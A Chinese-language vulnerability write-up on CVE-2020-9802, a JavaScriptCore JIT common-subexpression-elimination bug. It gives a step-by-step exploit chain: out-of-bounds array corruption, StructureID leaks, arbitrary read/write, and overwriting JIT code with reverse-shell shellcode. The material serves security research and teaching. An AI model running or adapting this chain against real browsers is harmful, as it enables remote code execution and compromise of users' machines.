【技术分享】CVE-2020-9802 JSC CSE漏洞分析

VSole2021-07-09 17:31:19

前言

编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。

前置知识

CSE

公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如

let c = Math.sqrt(a*a + a*a);

将被优化为

let tmp = a*a;let c = Math.sqrt(tmp + tmp);

这样就节省了一次乘法,现在我们来看下列代码

let c = o.a;f();let d = o.a;

由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。

在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize函数,

template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def){.............................................    case CompareEqPtr:        def(PureValue(node, node->cellOperand()->cell()));        return;..............................................

clobberize函数中的def操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要对CompareEqPtr运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。

边界检查消除

与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。

为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试

function foo(arr,idx) {   idx = idx | 0;   if (idx < arr.length) {      if (idx & 0x3) {         idx += -2;      }      if (idx >= 0) {         return arr[idx];      }   }}
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
for (var i=0;i<0xd0000;i++) {   foo(arr,2);}
debug(describe(arr));print();debug(foo(arr,0x3));

给print的函数断点用于中断脚本以进行调试b *printInternal,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码

[   0] enter[   1] get_scope          loc4[   3] mov                loc5, loc4[   6] check_traps        [   7] bitor              arg2, arg2, Int32: 0(const0)[  12] get_by_id          loc6, arg1, 0[  17] jnless             arg2, loc6, 29(->46)[  21] bitand             loc6, arg2, Int32: 3(const1)[  26] jfalse             loc6, 9(->35)[  29] add                arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)[  35] jngreatereq        arg2, Int32: 0(const0), 11(->46)[  39] get_by_val         loc6, arg1, arg2[  44] ret                loc6[  46] ret                Undefined(const3)

其中[ 39] get_by_val loc6, arg1, arg2用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为

0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11          0x7fffaf101fad: mov (%r11), %r11          0x7fffaf101fb0: test %r11, %r11          0x7fffaf101fb3: jz 0x7fffaf101fc0          0x7fffaf101fb9: mov $0x113, %r11d          0x7fffaf101fbf: int3           0x7fffaf101fc0: mov $0x7fffaef000dc, %r11          0x7fffaf101fca: mov $0x0, (%r11)          0x7fffaf101fce: cmp -0x8(%rdx), %esi          0x7fffaf101fd1: jae 0x7fffaf1024cb          0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0          0x7fffaf101fdc: ucomisd %xmm0, %xmm0          0x7fffaf101fe0: jp 0x7fffaf1024f2

其中的

0x7fffaf101fce: cmp -0x8(%rdx), %esi          0x7fffaf101fd1: jae 0x7fffaf1024cb

用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2的展开如下

D@86:<!0:->    ExitOK(MustGen, W:SideState, bc#39, ExitValid)D@63:<!0:->    CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)D@66:<!2:->    GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsDoubleD@85:<!0:->    KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)D@67:<!0:->    MovHint(DoubleRep:D@66, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)ValueRep(DoubleRep:Kill:D@66, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)

从中可以看到GetByVal中传递的参数中含有InBounds标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下

此时,我们对butterfly中对应的位置下一个硬件读断点,然后继续运行

pwndbg> rwatch *0x7ff803ee4018Hardware read watchpoint 79: *0x7ff803ee4018pwndbg> cContinuing.

然后断点断下

   0x7fffaf101b9c    movabs r11, 0x7fffaef000dc   0x7fffaf101ba6    mov    byte ptr [r11], 0   0x7fffaf101baa    cmp    esi, dword ptr [rdx - 8]   0x7fffaf101bad    jae    0x7fffaf102071 <0x7fffaf102071>
   0x7fffaf101bb3    movsd  xmm0, qword ptr [rdx + rsi*8] ► 0x7fffaf101bb8    ucomisd xmm0, xmm0   0x7fffaf101bbc    jp     0x7fffaf102098 <0x7fffaf102098>

我们发现这仍然存在cmp esi, dword ptr [rdx - 8]检查了下标,这是由于FTL JIT是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下

   0x7fffaf1039fa    mov    eax, 0xa   0x7fffaf103a00    mov    rsp, rbp   0x7fffaf103a03    pop    rbp   0x7fffaf103a04    ret    
   0x7fffaf103a05    movsd  xmm0, qword ptr [rdx + rax*8] ► 0x7fffaf103a0a    ucomisd xmm0, xmm0   0x7fffaf103a0e    jp     0x7fffaf103aeb <0x7fffaf103aeb>

发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析

pwndbg> vmmap 0x7fffaf103a0aLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA    0x7fffaf0ff000     0x7fffaf104000 rwxp     5000 0       +0x4a0apwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000pwndbg>

可以看到语句

if (idx & 0x3) {         idx += -2;      }

执行完毕后,无需再一次检查idx < arr.length,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。

漏洞分析利用

patch分析

diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.hindex b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)--- a/Source/JavaScriptCore/dfg/DFGClobberize.h+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
     case ArithAbs:         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)-            def(PureValue(node));+            def(PureValue(node, node->arithMode()));         else {             read(World);             write(Heap);@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu         if (node->child1().useKind() == Int32Use             || node->child1().useKind() == DoubleRepUse             || node->child1().useKind() == Int52RepUse)-            def(PureValue(node));+            def(PureValue(node, node->arithMode()));         else {             read(World);             write(Heap);

该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。

POC构造

首先从patch可以知道,修改的内容分别在ArithAbs和ArithNegate分支,它们分别对应了JS中的Math.abs和-运算。

尝试构造如下代码

function foo(n) {   if (n < 0) {      let a = -n;      let b = Math.abs(n);      debug(b);   }}
for (var i=0;i<0x30000;i++) {   foo(-2);}

foo部分字节码如下

[  17] negate             loc7, arg1, 126..........[  48] call               loc6, loc8, 2, 18

分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下

[ 17]CountExecutionGetLocalArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)MovHint[ 48]CountExecutionFilterCallLinkStatusArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)PhantomPhantomMovHint

在FTL JIT阶段,代码变化如下

[ 17]CountExecutionArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)KillStackZombieHint[ 48]CountExecutionFilterCallLinkStatusKillStackZombieHint

可以看到ArithAbs被去除了,这就是漏洞所在,ArithAbs与ArithNegate的不同点在于,ArithNegate不检查溢出,而ArithAbs会检查溢出,因此对于0x80000000这个值,-0x80000000值仍然为-0x80000000,是一个32位数据,而Math.abs(-0x80000000)将扩展位数,值为0x80000000。显然编译器没有察觉到这一点,将ArithAbs与ArithNegate认为是公共子表达式,于是便可以进行互相替换。

因此构造的POC如下

function foo(n) {   if (n < 0) {      let a = -n;      let b = Math.abs(n);      debug(b);   }}
for (var i=0;i<0xc0000;i++) {   foo(-2);}
foo(-0x80000000);

程序输出如下

..............--> 2--> 2--> 2--> 2--> 2--> -2147483648

可以看到,这个值并不是Math.abs(-0x80000000)的准确值。

OOB数组构造

利用边界检查消除来进行数组的溢出

function foo(arr,n) {   if (n < 0) {      let a = -n;      let idx = Math.abs(n);      if (idx < arr.length) { //确定在边界之内         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值            idx += -0x7ffffffd;         }         if (idx >= 0) { //确定在边界之内            return arr[idx]; //溢出         }      }   }}
var arr = [1.1,2.2,3.3];for (var i=0;i<0xc0000;i++) {   foo(arr,-2);}
debug(foo(arr,-0x80000000));

因为编译器的错误优化,idx是一个32位数,那么idx < arr.length的检查通过,那么后续的return arr[idx]; //溢出将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 1.5488838078e-314root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> undefined

这是因为漏洞最终发生在FTL JIT,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly下硬件断点,然后停下时将代码片段dump出来

seg000:00007FFFAF10346F                 mov     ecx, eaxseg000:00007FFFAF103471                 neg     ecxseg000:00007FFFAF103473                 mov     rdx, [rdx+8]seg000:00007FFFAF103477                 cmp     ecx, [rdx-8]seg000:00007FFFAF10347A                 jl      loc_7FFFAF103496seg000:00007FFFAF103480                 mov     dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF10348A                 mov     rax, 0Ahseg000:00007FFFAF103491                 mov     rsp, rbpseg000:00007FFFAF103494                 pop     rbpseg000:00007FFFAF103495                 retnseg000:00007FFFAF103496 ; ---------------------------------------------------------------------------seg000:00007FFFAF103496seg000:00007FFFAF103496 loc_7FFFAF103496:                       ; CODE XREF: seg000:00007FFFAF10347A↑jseg000:00007FFFAF103496                 test    ecx, 80000000hseg000:00007FFFAF10349C                 jnz     loc_7FFFAF1034E8seg000:00007FFFAF1034A2                 test    ecx, ecxseg000:00007FFFAF1034A4                 jns     loc_7FFFAF1034C0................seg000:00007FFFAF1034E8 loc_7FFFAF1034E8:                       ; CODE XREF: seg000:00007FFFAF10349C↑jseg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF                 sub     ecx, eaxseg000:00007FFFAF1034F1                 test    ecx, ecxseg000:00007FFFAF1034F3                 jns     loc_7FFFAF1034C0seg000:00007FFFAF1034F9                 jmp     loc_7FFFAF1034AA................seg000:00007FFFAF1034C0 loc_7FFFAF1034C0:                       ; CODE XREF: seg000:00007FFFAF1034A4↑jseg000:00007FFFAF1034C0                                         ; seg000:00007FFFAF1034F3↓jseg000:00007FFFAF1034C0                 mov     eax, ecxseg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]seg000:00007FFFAF1034C7                 ucomisd xmm0, xmm0seg000:00007FFFAF1034CB                 jp      loc_7FFFAF1035A8seg000:00007FFFAF1034D1                 movq    rax, xmm0seg000:00007FFFAF1034D6                 sub     rax, rdiseg000:00007FFFAF1034D9                 mov     dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF1034E3                 mov     rsp, rbpseg000:00007FFFAF1034E6                 pop     rbpseg000:00007FFFAF1034E7                 retn

从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比较右边界,但由于ecx是32位,0x80000000比较通过,然后

seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF                 sub     ecx, eax

使得ecx为3,最后通过

seg000:00007FFFAF1034C0                 mov     eax, ecxseg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]

进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly中的length和capacity,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象

arr0 ArrayWithDouble,arr1 ArrayWithDouble,arr2 ArrayWithContiguous,

通过arr0溢出改写arr1的length和capacity,即可将arr1构造为oob的数组

var arr = [1.1,2.2,3.3];var oob_arr= [2.2,3.3,4.4];var obj_arr = [{},{},{}];
debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();

发现三个数组的butterfly不相邻,并且类型不大对

--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463

前两个类型为CopyOnWriteArrayWithDouble,导致它们与arr2的butterfly不相邻,于是尝试这样构造

let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932

这回就相邻了,然后我们利用前面的漏洞构造oob数组

function foo(arr,n) {   if (n < 0) {      let a = -n;      let idx = Math.abs(n);      if (idx < arr.length) { //确定在边界之内         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值            idx += -0x7ffffffd;         }         if (idx >= 0) { //确定在边界之内            arr[idx] = 1.04380972981885e-310; //溢出         }      }   }}
let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}];
for (var i=0;i<0xc0000;i++) {   foo(arr,-2);}foo(arr,-0x80000000);
debug(oob_arr.length);

输出如下,需要多次尝试,原因前面说过

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 4919

利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语

泄露StructureID

getByVal

在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal,

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode){   ..............................    if (subscript.isUInt32()) {       .......................        } else if (baseValue.isObject()) {            JSObject* object = asObject(baseValue);            if (object->canGetIndexQuickly(i))                return object->getIndexQuickly(i);

其中canGetIndexQuickly源码如下

bool canGetIndexQuickly(unsigned i) const    {        const Butterfly* butterfly = this->butterfly();        switch (indexingType()) {...............        case ALL_DOUBLE_INDEXING_TYPES: {            if (i >= butterfly->vectorLength())                return false;            double value = butterfly->contiguousDouble().at(this, i);            if (value != value)                return false;            return true;        }............    }

getIndexQuickly代码如下

JSValue getIndexQuickly(unsigned i) const{.............        case ALL_DOUBLE_INDEXING_TYPES:            return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));...............        }    }

从上面可以知道getIndexQuickly这条路径不会使用到StructureID,那么如何触发getByVal呢?经过测试,发现对不是数组类型的对象,使用[]运算符可以触发到getByVal

var a = {x:1};var b = a[0];debug(b);print();

因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal

var arr_leak = new Array(noCow,2.2,3.3);function leak_structureID(obj) {   let jscell_double = p64f(0x00000000,0x01062307);   let container = {      jscell:jscell_double,      butterfly:obj   }
   let container_addr = addressOf(container);   let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);   f64[0] = hax[0];   let structureID = u32[0];   //修复JSCell   u32[1] = 0x01082307 - 0x20000;   container.jscell = f64[0];;   return structureID;}
var structureID = leak_structureID(arr_leak);debug(structureID);print();

调试如下

baseValue.isObject()判断通过,将进入分支

 ► 962         } else if (baseValue.isObject()) {   963             JSObject* object = asObject(baseValue);   964             if (object->canGetIndexQuickly(i))   965                 return object->getIndexQuickly(i);   966    967             bool skipMarkingOutOfBounds = false;pwndbg> p baseValue.isObject()$3 = true

接下来,我们跟踪进入canGetIndexQuickly函数

In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h   272             return false;   273         case ALL_INT32_INDEXING_TYPES:   274         case ALL_CONTIGUOUS_INDEXING_TYPES:   275             return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);   276         case ALL_DOUBLE_INDEXING_TYPES: { ► 277             if (i >= butterfly->vectorLength())   278                 return false;   279             double value = butterfly->contiguousDouble().at(this, i);   280             if (value != value)   281                 return false;   282             return true;pwndbg> p butterfly->vectorLength()$11 = 32767

这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak这个对象当成了butterfly,因此容量也就是&arr_leak-0x4处的数据,即

pwndbg> x /2wx 0x7fffef1613e8-0x80x7fffef1613e0:    0xef1561a0    0x00007fff

与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可,因此可以在内存布局的时候在arr_leak前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。

Function.prototype.toString.call

另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier指向需要泄露的地址处,然后使用Function.prototype.toString.call获得任意地址处的数据,可参考文章

function leak_structureID2(obj) {    // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
    var unlinkedFunctionExecutable = {        m_isBuitinFunction: i2f(0xdeadbeef),        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,        m_identifier: {},    };
    var fakeFunctionExecutable = {      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,      m_executable: unlinkedFunctionExecutable,    };
    var container = {      jscell: i2f(0x00001a0000000000),      butterfly: {},      pad: 0,      m_functionExecutable: fakeFunctionExecutable,    };

    let fakeObjAddr = addressOf(container);    let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
    unlinkedFunctionExecutable.m_identifier = fakeObj;    container.butterfly = obj;
    var nameStr = Function.prototype.toString.call(fakeObj);
    let structureID = nameStr.charCodeAt(9);
    // repair the fakeObj's jscell    u32[0] = structureID;    u32[1] = 0x01082309-0x20000;    container.jscell = f64[0];    return structureID;}

任意地址读写原语

在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了

var structureID = leak_structureID2(arr_leak);u32[0] = structureID;u32[1] = 0x01082309-0x20000;
//debug(describe(arr_leak));debug('[+] structureID=' + structureID);
var victim = [1.1,2.2,3.3];victim['prop'] = 23.33;
var container = {   jscell:f64[0],   butterfly:victim}
var container_addr = addressOf(container);var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
var padding = [1.1,2.2,3.3,4.4];var unboxed = [noCow,2.2,3.3];var boxed = [{}];
/*debug(describe(unboxed));debug(describe(boxed));debug(describe(victim));debug(describe(hax));*/
hax[1] = unboxed;var sharedButterfly = victim[1];hax[1] = boxed;victim[1] = sharedButterfly;

function NewAddressOf(obj) {   boxed[0] = obj;   return u64f(unboxed[0]);}
function NewFakeObject(addr_l,addr_h) {   var addr = p64f(addr_l,addr_h);   unboxed[0] = addr;   return boxed[0];}
function read64(addr_l,addr_h) {   //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败   //因此我们换用另一种方法,即利用property去访问   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);   return NewAddressOf(victim.prop);}
function write64(addr_l,addr_h,double_val) {   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);   victim.prop = double_val;}

劫持JIT编译的代码

var shellcodeFunc = getJITFunction();shellcodeFunc();var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
const shellcode = [    0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,    0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,    0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,    0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,    0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,    0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,    0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,    0x3B, 0x0F, 0x05];
function ByteToDwordArray(payload){
    let sc = []    let tmp = 0;    let len = Math.ceil(payload.length/6)    for (let i = 0; i < len; i += 1) {        tmp = 0;        pow = 1;        for(let j=0; j<6; j++){            let c = payload[i*6+j]            if(c === undefined) {                c = 0;            }            pow = j==0 ? 1 : 256 * pow;            tmp += c * pow;        }        tmp += 0xc000000000000;        sc.push(tmp);    }    return sc;}
//debug(describe(shellcodeFunc));
//debug(shellcode.length);//替换jit的shellcodelet sc = ByteToDwordArray(shellcode);for(let i=0; i   write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));}
debug("trigger shellcode")//执行shellcodeprint();shellcodeFunc();
print();

这里,我们使用ByteToDwordArray将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i结果展示

感想

通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。

参考

FireShell2020——从一道ctf题入门jsc利用

WebKit Commitdiff

eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods

JITSploitation I:JIT编译器漏洞分析

Project Zero: JITSploitation I: A JIT Bug

代码优化butterfly
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果指定了一个类为final,则该类所有的方法都是final的。此举能够使性能平均提高50% 。因为对这些大对象的操作会造成系统大的开销,稍有不慎,将会导致严重的后果。
每次聊到代码优化,都会有很多人说理论、架构、核心思路,其实我觉得代码优化这事说简单了很简单,说复杂了吧它也有一定的难度,但是我觉得有一个良好的编码习惯很重要,下面分享一下14个springboot项目中优化代码的小技巧,让代码优化跟容易,就像完成一件小事。
看雪论坛作者ID:wx_御史神风
据外媒报道,韩国科技巨头三星前不久发生了好几起由ChatGPT引起的信息泄露事件,设备测量、产量数据、内部会议等机密内容都被传输到了海外。但从3月11日起,在认识到需要跟上技术进步后,三星的DS部门批准了使用GPT,并特别在公告中提醒员工 “注意公司内部信息安全,不要输入敏感内容”。三星公司在知悉这些事件后,紧急采取了一系列缓解措施,例如将上传内容限制在1024字节以内等。三星目前正向事故相关职员调查原委,必要时给予处罚。
利用这一上下文,RASP能够就应用安全做出明智决策,及时遏阻漏洞利用造成损害。因此,真正的RASP应该是零误报和低延迟的,能够即时提升性能。真正的RASP需要一系列不可改变的规则,这些规则靠上下文洞悉何时引入了新漏洞,并据此采取相应的措施。RASP出错的三个方面1、吠犬问题:大多数警报都是误报WAF的问题在于运行在网络层,作为应用执行指标而言滞后了。相反,真正的RASP平台在运行时执行实际保护。
V8环境搭建
2021-09-14 18:00:00
本文是这个系列的第一篇,主要讲解四部分内容。
源码分析1、LLVM编译器简介LLVM 命名最早源自于底层虚拟机的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多是正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
介绍实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的本文以CommonsBeanutils1链为示例,
本文讲解 Turbofan 的工作流程、梳理 PrepareJob、ExecuteJob 和 FinalizeJob 的主要功能以及重要数据结构。
此工具是因为看到了Dliv3师傅的Venom工具后,想着自己也写一个属于自己的多级代理工具,故而利用闲暇时间编写的(是的,我又在重复造轮子), 在此感谢Dliv3师傅 XD。 废话不多说,我把我的README先搬过来给大家瞅瞅 Stowaway是一个利用go语言编写的多级代理工具用户可使用此程序将外部流量通过多个节点代理至内网,并实现管理功能 此工具仅限于安全研究和教学,用户承担因使用此
VSole
网络安全专家